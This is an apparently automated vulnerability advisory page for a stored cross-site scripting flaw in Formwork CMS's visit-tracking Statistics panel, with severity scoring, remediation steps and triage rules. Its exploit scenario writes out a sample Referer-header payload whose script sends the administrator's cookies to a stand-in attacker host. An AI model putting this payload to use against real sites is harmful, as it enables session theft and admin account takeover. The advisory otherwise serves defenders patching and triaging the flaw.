Skip to main content

Formwork CMS CVE-2026-82451

| EUVDEUVD-2026-68106 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-29 VulnCheck GHSA-3p45-hx6j-c7f5
5.3
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send HTTP request with malicious Referer header
  2. Delivery
    Visit tracker stores unescaped host value
  3. Exploit
    Admin opens Statistics panel
  4. Execution
    Stored payload executes in admin browser
  5. Impact
    Session token or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two conditions: first, that the target site runs Formwork through 2.3.14 with visit tracking enabled (the feature must be active and accumulating Referer data); second, that an administrator navigates to the Statistics panel after the malicious request is stored. The attack itself requires no authentication - any unauthenticated HTTP client can send the crafted Referer header. Exploitation is limited by the passive trigger: the attacker cannot force an administrator to view the Statistics panel and must wait for routine admin activity. Non-default deployments where the Statistics panel is disabled or visit tracking is turned off are not affected. There is no indication this requires a specific operating system, PHP version, or server configuration beyond a default Formwork installation.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P) correctly captures that exploitation is trivially automatable - an attacker needs only to send a single crafted HTTP request to any page of the target site with no authentication. The sole friction is UI:P (passive user interaction): an administrator must open the Statistics panel, which is routine behavior. CVSS 4.0 scores this at 5.3 (Medium), reflecting the indirect path through admin interaction and limited per-impact ratings (VC:L/VI:L). Real-world risk is meaningfully higher than the numeric score implies: stored XSS against an admin panel is a standard pivot to account takeover, credential exfiltration, or backdoor installation via the CMS editor. Formwork is a niche product with a small deployment footprint, which limits aggregate exposure. No KEV listing and no confirmed POC reduce urgency somewhat, but the attack requires zero skill - crafting a Referer header is trivial with curl. EPSS data is not provided; given product obscurity, exploitation probability is likely low in absolute terms.

Exploit ScenarioDerived

An attacker identifies a Formwork-powered site and sends a single HTTP GET request to any public page with a Referer header containing a crafted payload such as a script tag or event-handler attribute in the host field - for example, Referer: http://"><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>/. Formwork's visit tracker stores this unescaped value. The next time any administrator opens the Statistics panel, the injected script executes in their browser session, exfiltrating session cookies or admin credentials to the attacker. No authentication, brute force, or interaction with the victim beyond their routine panel use is required.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 29, 2026

Stored XSS in Formwork through 2.3.14 allows unauthenticated remote attackers to inject persistent malicious markup into the Statistics panel by crafting HTTP requests with malicious Referer headers. The visit-tracking subsystem records the Referer host value without HTML escaping, storing attacker-controlled content in the statistics data. When an administrator opens the Statistics panel, the injected payload executes in their browser, enabling session hijacking, credential theft, or further compromise of the admin interface. No public exploit code or CISA KEV listing is identified at time of analysis.

RemediationAI

The primary remediation is to upgrade Formwork beyond version 2.3.14; the exact patched release version is not independently confirmed from the available reference data - the upstream fix is traceable to GitHub commit 89d1908572e55809d6ee1771f59a816494c29573, but a tagged release version should be verified via the official advisory at https://github.com/getformwork/formwork/security/advisories/GHSA-hpgc-57cm-66pc before deploying. As a compensating control where immediate upgrade is not possible, administrators can restrict access to the Statistics panel to trusted IP ranges via web server configuration (e.g., nginx allow/deny directives or Apache mod_authz_host), which prevents the injected payload from reaching an admin browser even if malicious Referer entries are stored. Additionally, clearing visit-tracking statistics data removes any already-stored payloads. Web application firewall rules that strip or sanitize inbound Referer headers are a secondary option but carry a trade-off of breaking legitimate analytics data.

Affected VersionsENISA

formwork 0 ≤2.3.14

Affected Packages

euvd formwork no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Formwork is an open-source PHP flat-file CMS (cpe:2.3:a:getformwork:formwork:*:*:*:*:*:*:*:*). Its visit-tracking feature passively logs HTTP request metadata - including the Referer header - to power the Statistics panel in the admin UI. The vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation) occurs in panel/views/statistics/index.php, where the host portion of the Referer header is rendered directly into the HTML without encoding. Because storage happens at request time and rendering happens later in a privileged context, this is a stored (persistent) XSS rather than a reflected variant, amplifying impact: a single malicious request affects every administrator who subsequently views the Statistics panel until the data is cleared.

Know when Formwork gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network vector, no privileges, low complexity; scope changes because payload executes in admin browser context; UI:R required since admin must view Statistics panel.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Formwork through 2.3.14 contains a stored cross-site scripting vulnerability in visit tracking that records the Referer header host unescaped. Unauthenticated attackers can craft malicious Referer headers to inject markup that executes in administrator browsers when viewing the Statistics panel.

Threat Intelligence Overview

EPSS Score
0.2%
Top 89% exploitable
Prevalence
Rare
niche flat-file PHP CMS with small community footprint
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy